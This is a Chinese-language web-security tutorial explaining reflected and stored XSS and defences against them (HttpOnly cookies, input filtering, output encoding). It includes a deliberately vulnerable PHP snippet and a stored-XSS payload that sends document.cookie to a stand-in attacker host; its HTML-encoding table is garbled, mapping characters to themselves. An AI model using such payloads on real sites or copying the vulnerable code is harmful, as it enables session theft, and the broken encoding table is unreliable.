XSS攻击的原理
xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过插入恶意脚本,实现对用户游览器的控制。
xss攻击主要用户攻击者盗取用户的cookie,由于sessionId是存储在cookie中的,当攻击者获取了用户的cookie,则攻击者可以在session的生命周期内,达到获取被攻击用户的用户权限。
xss攻击可以分成两种类型:
- 非持久型攻击
- 持久型攻击
1.非持久型攻击
顾名思义,非持久型攻击是一次性的,仅对当前访问产生影响。非持久型攻击要求用户访问一个被攻击者篡改的url地址,用户访问时,被植入的攻击脚本被用户浏览器执行,以达到攻击的目的。
假设有以下页面:
<?php $name = $_GET['name']; echo "Welcome $name<br>"; echo "<a href="http://www.cnblogs.com/chenqf/">Click to Download</a>"; ?>
该页面显示两条信息
- 从URI获取 'name' 参数,并在页面显示
- 显示跳转到一条URL的链接
这时,当攻击者给出以下URL链接:
index.php?name=guest<script>alert('attacked')</script>
当用户点击该链接时,将产生以下html代码,带'attacked'的告警提示框弹出:
Welcome guest <script>
alert('attacked');//获取用户cookie,并将cookie通过网络传输至攻击者,则攻击者获取了用户权限
</script> <br> <a href='http://www.cnblogs.com/chenqf/'>Click to Download</a>
当用户打开该地址后,会弹出“attacked”,攻击者可以在此植入javascript代码,以达到操作用户浏览器的目的
2.持久型攻击
持久型攻击是存储式XSS漏洞,由于其攻击代码已经存储到服务器上或者数据库中,所以受害者是很多人。
例子如下:A网站为论坛网站,攻击者可以在论坛中发表文章,该文章内包含攻击代码,并保存。
<script>window.open(“www.attacked.com?param=”+document.cookie)</script>
这时,任意用户看到了攻击者发布的文章,并点击进入查看文章,此时之前被植入的攻击代码被执行,将用户的cookie信息传递给攻击者。
XSS攻击的防御
1.HttpOnly防止劫取Cookie
HttpOnly最早由微软提出,至今已经成为一个标准。浏览器将禁止页面的Javascript访问带有HttpOnly属性的Cookie。
严格的书,HttpOnly并非为了对抗XSS攻击,HttpOnly解决的是XSS后的Cookie劫持攻击。
某些时候,应用可能需要javascript访问某几项cookie,这种cookie可以不设置为HttpOnly标记,而仅把HttpOnly标记给用于认证的关键Cookie。
2.输入检查 XSS Filter
常见的XSS攻击都需要攻击者构造一些特殊字符,这些字符可能是正常用户不会用到的,所以输入检查就有存在的必要了。
输入检查的逻辑,必须放在服务端代码实现。如果只是在客户端使用javascript进行输入检查,很容易被攻击者绕过。
目前的普遍做法是,在服务端代码和客户端代码中实现同样的代码检查逻辑。
互联网上有很多开源的XSS Filter的实现。
3.输出检查
在变量输入到html页面时,对html代码进行HtmlEncode。
为了对抗XSS,在HTMLEncode中要求至少转换以下字符:
& –> &
< –> <
> –> >
” –> "
‘ –> '
/ –> /
参考:《白帽子讲Web安全》